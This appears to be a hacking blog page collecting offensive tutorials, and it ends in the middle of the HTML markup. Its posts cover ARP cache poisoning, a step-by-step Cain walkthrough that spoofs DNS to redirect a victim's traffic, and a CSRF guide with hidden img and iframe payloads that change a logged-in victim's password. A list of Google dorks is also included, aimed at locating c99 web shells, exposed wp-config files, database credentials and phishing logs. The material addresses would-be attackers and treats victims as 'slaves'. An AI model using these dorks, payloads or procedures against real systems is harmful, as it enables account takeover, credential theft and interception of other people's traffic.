How to POISONING ARP on network?

<div dir="ltr" style="text-align: left;" trbidi="on">How to do Address Resolution Protocol (ARP) poisoning?<br /><br /><h3>What Does ARP Mean?</h3><br />Address Resolution Protocol (ARP) is a stateless protocol, was designed to map Internet Protocol addresses (IP) to their associated Media Access Control (MAC) addresses. This being said, by mapping a 32 bit IP address to an associated 48 bit MAC address via attached Ethernet devices, a communication<br /><br />between local nodes can be made.<br /><br />On a majority of operating systems, such as Linux, FreeBSD, and other UNIX based operating systems, and even including Windows, the "arp" program is present. This program can be used to display and/or modify ARP cache entries.<br /><br />An example of the "arp" utility's output would look like the following:<br /><br />Windows:<br /><br />> arp -a<br /><br />Interface: 192.168.1.100 .- 0x10003<br /><br />Internet Address Physical Address Type<br /><br />192.168.1.1 00-13-10-23-9a-53 dynamic<br /><br />Linux:<br /><br />$ arp -na<br /><br />? (192.168.1.1) at 00:90:B1C:F8:C0 [ether] on eth0<br /><br />FreeBSD:<br /><br />$ arp -na<br /><br />? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0<br /><br /><h3>How ARP works?</h3><br />Specifically for Internet Protocol Version 4 (IPv4), ARP maps IP addresses between the Network layer and Data Link layer of the Open System Interconnection (OSI) model.<br /><br />For a more complete and thorough explanation of how address resolution works, and protocol specifics, please consult RFC 826.<br /><br />ARP Protocol Flaws :-<br /><br />ARP's main flaw is in its cache. Knowing that it is possible for ARP to update existing entries as well as add to the cache, this leads one to believe that forged replies can be made, which result in ARP cache poisoning attacks.<br /><br /><h3>Terms & Definitions :-</h3><br />ARP Cache Poisoning : Broadcasting forged ARP replies on a local network. In a sense, "fooling" nodes on the network. This can be done because ARP lacks authentication features, thus blindly accepting any request and reply that is received or sent.<br /><br />MAC Address Flooding : An ARP cache poisoning attack that is mainly used in switched environments. By flooding a switch with fake MAC addresses, a switch is overloaded. Because of this, it broadcasts all network traffic to every connected node. This outcome is referred to as "broadcast mode" because, all traffic passing through the switch is broadcasted out like a Hub would do. This then can result in sniffing all network traffic.<br /><br /><h3>The ARP Attacks :-</h3><br />1] Connection Hijacking & Interception : Packet or connection hijacking and interception is the act in which any connected client can be victimized into getting their connection manipulated in a way that it is possible to take complete control over.<br /><br />2] Connection Resetting : The name explains itself very well. When we are resetting a client's connection, we are cutting their connection to the system. This can be easily done using specially crafted code to do so. Luckily, we have wonderful software that was made to aid us in doing so.<br /><br />3] Man In The Middle : One of the more prominent ways of attacking another user in order to hijack their traffic, is by means of a Man In The Middle (MITM) attack. Unlike the other attacks, a MITM is more a packet manipulation attack which in the end however does result in packet redirection to the attacker . all traffic will get sent to the attacker doing the MITM attack. This attack however is specific. As opposed to MAC Address Flooding or other attacks against a router/switch, the MITM attack is against a victim, and also can be done outside of a switched environment. Thus meaning, an attack can be executed against a person on the other side of the country.<br /><br />4] Packet Sniffing : Sniffing on a Local Area Network (LAN) is quite easy if the network is segmented via a hub, rather than a switch. It is of course possible to sniff on a switched environment by performing a MAC flood attack. As a result of the MAC flood, the switch will act as a hub, and allow the entire network to be sniffed. This gives you a chance to use any sort of sniffing software available to you to use against the network, and gather packets.<br /><br />5] Denial of Service : MAC Address Flooding can be considered a Denial of service attack. The main idea of the MAC flood, is to generate enough packet data to send toward a switch, attempting to make it panic. This will cause the switch to drop into broadcast mode and broadcast all packet data. This however did not result in a crash, or the service to be dropped, but to be overloaded. <br /></div>

How to POISONING ARP on network?

How to do Address Resolution Protocol (ARP) poisoning? What Does ARP Mean? Address Resolution Protocol (ARP) is a stateless protocol, was de...

+ Read more »

Some cool Google Dork

<div dir="ltr" style="text-align: left;" trbidi="on">Symlink dork.<br /><br />Code:<br /><br />inurl:/sym/root/ & intext:"Parent Directory"<br /><br />c99shell dork.<br /><br />Code:<br /><br />inurl:(shell.php | c99.php) Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self remove Logout<br /><br />c99shell dork(2).<br /><br />Code:<br /><br />inurl:(shell.php | c99.php) intitle:c99shell Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self remove Logout<br /><br />WordPress MySQL details.<br /><br />Code:<br /><br />inurl:(wp-config.conf | wp-config.txt) ext:(conf | txt | config)<br /><br />Databases username && passwords.<br /><br />Code:<br /><br />inurl:/includes/ & ext:inc & inurl:connect | inurl:dbconnect & -site:phpkode.com<br /><br />Phish The Phisher<br /><br />Code:<br /><br />filetype:txt & intext:"email=" & intext:"pass=" & intext:"charset_test="<br /><br />phpmyadmin exploit<br /><br />Code:<br /><br />allinurl:index.php?db=information_schema<br /><br />Here is list of other google dork. <a href="http://www.4shared.com/file/lzdEULnW/new_file.html" target="_blank">Download here</a>.</div>

Some cool Google Dork

Symlink dork. Code: inurl:/sym/root/ & intext:"Parent Directory" c99shell dork. Code: inurl:(shell.php | c99.php) Encoder Bind...

+ Read more »

How to do DNS SPOOF(tutorial)?

<div dir="ltr" style="text-align: left;" trbidi="on"><style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } A:link { so-language: zxx } --> </style> <br /><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>First What is the DNS ?</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">(wikipedia.org)</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resource connected to the internet or a private network. It associates various information with domain names assigned to each of the participants. For example, </span></span></span></span></span><a href="http://www.example.com/" target="_blank"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">http://www.example.com</span></span></span></span></span></span></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">translates to208.77.188.166.</span></span></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;">What does poisoning the DNS allow us to do ?</span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">It allows us to redirect the traffic to another website.</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">First This is the structure of the network :</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span></div><a name="more"></a><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://farm5.static.flickr.com/4044/4337060175_5b99b48ac0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="200" name="graphics1" src="http://farm5.static.flickr.com/4044/4337060175_5b99b48ac0.jpg" title="DNS-SPOOF-8" width="320" /></a></div><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">1 , 2 and 3 are computers</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">1 is the computer being the gateway (could be a router) (172.128.254.1)</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">2 is the target computer (172.128.254.10)</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">3 is the attacker using cain </span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>Note</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">: IPs are just used for this tutorial and chosen randomly. </span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">Our work is on computer number 3 :</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>1</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-After you install cain , open it and go to the sniffer tab</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>2</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-Click on configure and choose your adapter</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b></b></span></span></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://farm5.static.flickr.com/4032/4336895163_134d4202fd.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="171" name="graphics2" src="http://farm5.static.flickr.com/4032/4336895163_134d4202fd.jpg" title="DNS-SPOOF-7" width="320" /></a></div><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>3</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-Enable the sniffer (click on the second icon in the toolbar next to the open icon)</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>4</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-Right click in the empty area and choose scan MAC addresses. We get the results above.</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>5</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-Click on the APR Tab</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b> </b></span></span></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://farm3.static.flickr.com/2725/4337645862_9e847b91e4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="120" name="graphics3" src="http://farm3.static.flickr.com/2725/4337645862_9e847b91e4.jpg" title="DNS-SPOOF-6" width="320" /></a></div><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>6</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-Click on the + sign in the toolbar to add a new ARP poison routing</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b></b></span></span></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://farm5.static.flickr.com/4062/4337656172_57b3d5b3b5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="190" name="graphics4" src="http://farm5.static.flickr.com/4062/4337656172_57b3d5b3b5.jpg" title="DNS-SPOOF-5" width="320" /></a></div><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>7</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-choose the gateway which is </span></span></span></span></span><a href="http://www.hackforums.net/ipcheck.php?action=iplookup&ipaddress=172.128.254.1"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">172.128.254.1</span></span></span></span></span></span></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">, in the next list you’ll get the IP of the computer 2 which is </span></span></span></span></span><a href="http://www.hackforums.net/ipcheck.php?action=iplookup&ipaddress=172.128.254.10"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">172.128.254.10</span></span></span></span></span></span></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">and click ok </span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b></b></span></span></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://farm5.static.flickr.com/4009/4337049117_87315e8629.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="80" name="graphics5" src="http://farm5.static.flickr.com/4009/4337049117_87315e8629.jpg" title="DNS-SPOOF-4" width="320" /></a></div><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>8</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-now click on the APR-DNS tab</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://farm5.static.flickr.com/4029/4337796362_14af553609.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="172" name="graphics6" src="http://farm5.static.flickr.com/4029/4337796362_14af553609.jpg" title="DNS-SPOOF-3" width="320" /></a></div><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>9</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-click on the + sign </span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>10</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-enter the web address that you want to spoof , (in this case when the user goes to facebook he’ll be redirected to myspace) click on resolve type the web address that you want to redirect the user to it, and click ok, and you’ll get the IP of the web address, then click ok</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /><br /><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="188" name="graphics7" src="http://farm3.static.flickr.com/2731/4337798910_e83774f149.jpg" title="DNS-SPOOF-2" width="500" /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;"> </span></span></span></span></span><br /><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">you'll get something like this:</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b></b></span></span></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://farm5.static.flickr.com/4003/4337057395_171642d13d.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img align="BOTTOM" alt="DNS-SPOOF" border="0" height="100" name="graphics8" src="http://farm5.static.flickr.com/4003/4337057395_171642d13d.jpg" title="DNS-SPOOF-1" width="320" /></a></div><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><b>11</b></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">-now to make this work we have to enable APR poisoning , click on the icon next to the sniffer icon, and everything should work as we expect.</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">Now the computer 2 will get the routes poisoned and when the user requests </span></span></span></span></span><a href="http://www.facebook.com/" target="_blank"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">http://www.facebook.com</span></span></span></span></span></span></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">he will be redirected to </span></span></span></span></span><a href="http://www.myspace.com/" target="_blank"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">http://www.myspace.com</span></span></span></span></span></span></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">.</span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-style: normal;"><span style="font-weight: normal;">Imagine what you can do with this technique. </span></span></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><img align="BOTTOM" border="0" height="28" name="graphics9" src="http://cdn2.hackforums.net/images/blackreign/images/smilies/blackhat.gif" width="42" /></span></span></span></div>

How to do DNS SPOOF(tutorial)?

First What is the DNS ? (wikipedia.org) The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resou...

+ Read more »

How to exploit CSRF vulnerability(CSRF tutorial)?

<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-family: 'Bitstream Charter', serif; font-size: medium; line-height: 0.19in;">Today, I'm going to explain you about WEB vulnerability that not everyone knows...but it very popular.</span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">This vulnerability is very dangerous and effective.Usually, the vulnerability exploiting never leave evidences.This vulnerability called: Cross Site Request Forgery(CSRF).CSRF and the way to exploit it is extremely easy; Much easier then all the complicated injections.</span></span></span><br /><br /><div style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><u><b>How does it works?</b></u></span></span></span></div><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0.2in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br />It works by forcing the slave's browser to run HTTP requests in order to implement a range of actions, for example :</span></span></span></div><ul><li><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Permission faking\stealing.</span></span></span></div></li><li><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Transfer of funds from the Bank</span></span></span></div></li><li><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Disruption of the normal sequence of the site</span></span></span></div></li></ul><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">And much more.</span></span></span></div><a name="more"></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><u>Requirements to exploiting CSRF.</u></span></span></span><br /><ul><li><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Make sure that the slave have SESSION \ COOKIE on the target site.</span></span></span></div></li><li><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">slave must be identified by the network protocol verification (HTTP Authentication)                                                                                                  </span></span></span></div></li></ul><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Actually, In order to cause the slave to perform unwanted actions he is not aware of, the slave must be logged to the target site with cookies and verified by the browser \ server.</span></span></span></div><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span></div><div style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><u><b>Common uses CSRF attacks.</b></u></span></span></span></div><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br />Common attack is using the image tag (img src) in the HTML document. I mean, in the SRC of the image tag must be inserted malicious link should send HTTP requests to the target, such as a GET request can be excellent. The benefits of using an image tag on the normal link tag (a href) are :</span></span></span></div><ol><li><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Image tag does not require clicking the link compared Tag-A requires clicking on the link to activate the HTTP request.</span></span></span></div></li><li><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Nature of browsers is to send HTTP requests to visual objects such as picture or remote files (CSS, JS, etc.) even while loading the page without the user's permissions. This means the user does not need to perform any action in order to see the image on the page, all he has to do is go to a certain site specific browser sends HTTP requests have to load the image. In this case, since the browser recognizes the HTML code of the image tag, it sends HTTP requests to load the image even if the SRC of the image is not really a picture, but a malicious link ...</span></span></span></div></li></ol><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;"><br /></span><span style="color: black;">For those of you that uses Fire-Bug(Firefox add-on) can see in the next snapshot example of sending an HTTP request from the browser to the server to load an image during the login of the user:</span></span></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd1zmpyXQ3XVpiV4Vj_MuYm006sOfai3Kbp67MjzQ7MBiWWYS_sPnUskM5uqWifTXRewoxzPkWk0fJ592Wx0qTZkEOmz71FbMapDyhUv6VyZn4fed5UvWNTs-mK8xHRyiRSOXTL6_u4P2E/s1600/InUNu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="csrf-tutorial" border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd1zmpyXQ3XVpiV4Vj_MuYm006sOfai3Kbp67MjzQ7MBiWWYS_sPnUskM5uqWifTXRewoxzPkWk0fJ592Wx0qTZkEOmz71FbMapDyhUv6VyZn4fed5UvWNTs-mK8xHRyiRSOXTL6_u4P2E/s400/InUNu.png" title="csrf-tutorial" width="400" /></a></div><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;"><br /></span><span style="color: black;">Also, CSRF attacks can be implemented not only through websites but through email messages. Since the mail boxes allow sending data to HTML format, the attached image perfectly legal. In this case I can send a malicious email message to huge amount of recipients, put a photo tag email body when the SRC contain a malicious link, when the slave opens the email, the desired action done.</span></span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;"><br /></span><b><span style="color: black;"><u>Exploiting code examples: </u></span></b></span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><span style="color: black;"><i><br /></i></span></b><span style="color: black;"><b>HTML</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>Using img tag: </b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>PHP Code:</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><img style="display:none;" src="http://targetsite.com/change_password.php?new_password=123456"> </b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>Using iframe tag:</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>PHP Code:</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><iframe src="http://targetsite.com/change_password.php?new_password=123456"></iframe> </b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span 